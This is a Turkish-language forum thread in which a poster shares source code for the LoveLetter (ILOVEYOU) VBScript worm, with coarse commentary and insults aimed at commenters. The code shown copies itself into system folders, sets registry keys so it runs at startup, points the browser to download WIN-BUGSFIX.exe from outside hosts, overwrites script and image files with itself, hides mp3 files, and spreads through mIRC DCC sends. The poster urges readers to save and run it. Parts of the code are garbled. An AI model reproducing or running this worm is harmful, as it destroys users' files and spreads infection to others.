beyler gaza geldim bilgisayar virüsü

yazacam canlı canlı c ile yazacam anlatacam birde 10 tane yaz diyen olursa yeter
edit:notpad sizde yazabilirsinzi text dosyasına yazdıktan sonra .bat diye değiştireceksiniz

c sizin için ağır olur onun için virsual basic ile yazacam

başlıyalım
rem barok -loveletter(vbe) <okuldan nefret ediyor>

burda trojanı yanı solucanı oluşturuyoruz kod aşağıda
rem by: spyder / trojantr@yahoo.com/ @GRAMMERSoft Group / Manila, Philippines
On Error Resume Next
dim fso, dirsystem,dirwin, dirtemp,eq,ctr, file,vbscopy,d ow

bu kodu açıklamak gerekirse mail tiplerini belirliyoruz diyebiliriz

dinleyen varmı panpalar ayıp bunu kimseden bulamazsınız

kod yazıp size cevap vermek zor oluyor beyler
aşağıdaki koddu açıklayacam
eq=""
ctr=0
Set fso = CreateObject("Scripting. FileSystemObject")
set file = fso. OpenTextFile(WScript. ScriptFullname,1)
vbscopy=file. ReadAll
main()

burda scripleri ve yolları bellirlemek ve readall ile okunuşları belirliyoruzbu ne diye sormayın amk size computer theory yeniden anlatamam *

Burası önemli şimdi host saldırımızı belirliyoruz kodlar aşağıda
---
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript. Shell")
rr=wscr. RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
---
eğer kayıt defterini açarsanız bunları görürsünüz

@15 bin *

@17 artisliğini gibliyim senin phpni $echo yazmayı biliyon bin beni yorma yazıyoruz işte mantık aynı

burda exe tipinde virüsümüzü artık hayata geçiriyoruz sizin anlayacağınız şekliyle
• **
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunMSKernel32",dirsystem&"MSKernel32 .vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunServicesWin32DLL",dirwin&"Win32DL L.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicros oftInternet ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~young1s/HJKh ... jw6587345gvsdf 7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~angelcat/skl ... 546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~koichi/jf6TR ... nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~chu/sdgfhjks ... DGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX.exe"
end if
end if

" http://www.skyinet.net/~koichi/jf6tr ... nmpohfger67b3v bvg/win-bugsfix.exe" şöyle birşey görüyorsunuz bu hangi siteden virusu yayacağınızı belirtiyor bu site değişik olabilir

buda ayrı bir classımız
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine "; http://www.mirc.com" ;
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if

evet beyler kodları vermeye başlıyorum tamdıbını text doyasını açıp yazın ve uzattısını .bat olarak değiştirin ve programı inceleyin

@28 bi gibtir git kardeşim kod paylaşacam dedim amcık oturup yazacammı sor o kadar iyi biliyorsan cevaplıyım züt lalesi amk nasıl bir milletsiniz merak ettiklerini cevaplıyım üniversitede bile bunu yapmıyorla

@32 arkadaşım sen çok biliyorsun ya programla dillerini sen fortlan bile yazabilirsen program yada cobol ile bile olsa paraya para demezsin yeni bilgisayar dili yoktur zaten sadece sadeleştiriyorlar daha çabuk yayılsın diye mantık bu

@30 uğra benim alanım database and datamining yardımcı olurum sana

@36 aynştan afferin kendi bilgisayarını çöker yavrum virüs yazmaktaki amaç kendi bilgisayarınımı çökertmek mi?

yazıyorum tamdıbını verecem kodun ama site izin vermiyor parça parça verecem ve burdan başlıyorum öbür kodları unutun başlama noktası burası